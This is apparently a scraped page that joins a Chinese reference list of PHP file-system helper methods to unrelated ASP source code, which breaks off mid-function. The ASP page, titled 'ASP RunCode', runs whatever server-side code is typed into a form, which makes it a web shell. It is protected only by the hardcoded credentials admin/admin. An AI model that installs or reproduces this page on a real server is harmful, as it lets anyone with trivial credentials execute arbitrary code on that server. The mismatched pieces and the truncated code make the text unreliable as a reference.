fso fso:: getAbsolute($dir)
得到一個相對路徑的相對於根目錄的路徑
fso:: getOpposite($dir)
得到一個相對於根目錄的路徑的相對於當前程式頁面的路徑
fso:: createFolder($dirname)
建立一個目錄
fso:: folderExists($folder)
判斷一個目錄是否存在
fso:: fileExists($file)
判斷一個檔案是否存在
fso:: copyFolder($source, $dest)
拷貝一個目錄下的子目錄和檔案到另一個目錄
fso:: copyFile($source, $dest)
拷貝一個檔案
fso:: scanFolder($folder, &$array)
得到一個目錄下的所有檔案和目錄列表,$array將是一個二維數組,每個元素形如array(“name”=>檔案/目錄名,”size”=>檔案/目錄尺寸,”time”=>最後修改時間)
fso:: moveFile($source, $dest)
把一個目錄/檔案移到另一個地方,原目錄/檔案將被嘗試刪除
fso:: removeFolder($folder)
刪除一個目錄
fso:: removeFile($file)
刪除一個檔案
fso:: createFile($file)
建立一個檔案
fso:: writeLine($handle , $string)
向一個已開啟的控制代碼裡寫入一個字串
fso:: readLine($file)
讀一個檔案中的第一行
fso:: readFile($file)
讀取整個檔案
fso:: openFile($file, $method = "a+")
以一種方式開啟檔案
<% @ LANGUAGE="VBs cript" %>
<%Option Explicit
response.buffer=true
dim Spassword,SUserName
SUserName="admin"
Spassword="admin"
dim SQLMutiStr
dim i
dim action
action=request.querystring("action")
IF action="GetCode" then '---------TOT
NumCodeJS
ELSE '--------TOT
Response.Write("<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.0 Transitional//EN"">")
Response.Write("<HTML>")
Response.Write("<HEAD>")
Response.Write("<TITLE>ASP RunCode SCR V1.0 / Create By PaintBlue.Net V37</TITLE>")
Response.Write("<META NAME=""Generator"" CONTENT=""EditPlus,V37,PaintBlue.Net"">")
Response.Write("<META NAME=""Author"" CONTENT=""V37,PaintBlue.Net"">")
Response.Write("<META NAME=""Keywords"" CONTENT=""PaintBlue.Net,,V37,RunCode,ASP,s cript,BlueIdea.COM,Lfgbox.com"">")
Response.Write("<META NAME=""Des cription"" CONTENT=""運行ASP代碼的ASP指令碼!"">")
Response.Write("</HEAD>")
Response.Write("<BODY bgcolor=#D4D0C8>")
SQLMutiStr=trim(Request.Form("SQLMutiStr"))
if session("login")="" and action="chkpass" then
session("login")=checkPass()
end if
if action="exit" then session("login")=""
if session("login")="1" then
if action="RunCode" then
if SQLMutiStr="" then
Response.write "沒有輸入要啟動並執行代碼!"
Response.write "<br><br><a href=""javas cript:window.history.back();"">返回運行頁面</a><br><br>"
Response.write "<a href=""?action=exit"">退出登陸</a>"
response.end
else
dim ExeStrArr
dim re
dim tempSQL,tempSQL2
dim s criptArr,s criptSubArr
tempSQL2=""
tempSQL=split(SQLMutiStr,vbcrlf)
if inStr(lcase(tempSQL(0)),"language")>0 then
tempSQL2=tempSQL(1)
if ubound(tempSQL)>1 then
for i=1 to ubound(tempSQL)
tempSQL2=tempSQL2&tempSQL(i)
next
end if
tempSQL2=trim(tempSQL2)
else
tempSQL2=SQLMutiStr
end if
tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%response.write ")
do
tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
tempSQL2=trim(tempSQL2)
tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
s criptArr=split(tempSQL2,"%"&">")
dim ub,kub
ub=ubound(s criptArr)
for i=0 to ub-1
s criptSubArr=split(s criptArr(i),"<"&"%")
if i>0 then response.write (s criptSubArr(0))
ExeCuteIt(s criptSubArr(1))
next
call EndProc("<font color=#009900>代碼運行完畢!</font>")
end if
else
%>
輸入要啟動並執行ASP代碼:
<FORM METHOD=POST ACTION="?action=RunCode" style="margin:0px;">
<TEXTAREA NAME="SQLMutiStr" wrap='OFF' ROWS="20" style="width:100%;height:100%;table-layout:fixed;word-break:break-all;"><%=Server.Htmlencode(SQLMutiStr)%></TEXTAREA>
<br>
<INPUT TYPE="button" Value="LouOut">
<INPUT TYPE="reset" Value="Clear">
<INPUT TYPE="submit" value="Run AspCode">
</FORM>
<% end if
else
call loginmain()
end if
Response.write ("</BODY></HTML>")
END IF '-------TOT
SUB loginMain()
%>
<FORM METHOD=POST ACTION="?action=chkpass"> UserName:<INPUT TYPE="text" NAME="UserName"><br>
PassWord:<INPUT TYPE="password" NAME="Runpassword"><br>
CheckCode:<INPUT TYPE="GetCode" NAME="GetCode"><img src="runasp.asp?action=GetCode&Time=<%=timer()%>"><br>
<br><img width=125 height=0><INPUT TYPE="submit" value=" Login "></FORM>
<%
End SUB
function checkPass()
dim UserName,Runpassword,GetCode
dim errinfo
checkPass=""
UserName=trim(request.form("UserName"))
Runpassword=trim(request.form("Runpassword"))
GetCode=request.form("GetCode")
if UserName="" or Runpassword="" then
errinfo=errinfo&"<li>使用者名稱和密碼輸入不可為空"
end if
if Not isnumeric(GetCode) then
errinfo=errinfo&"<li>請輸入數字校正碼"
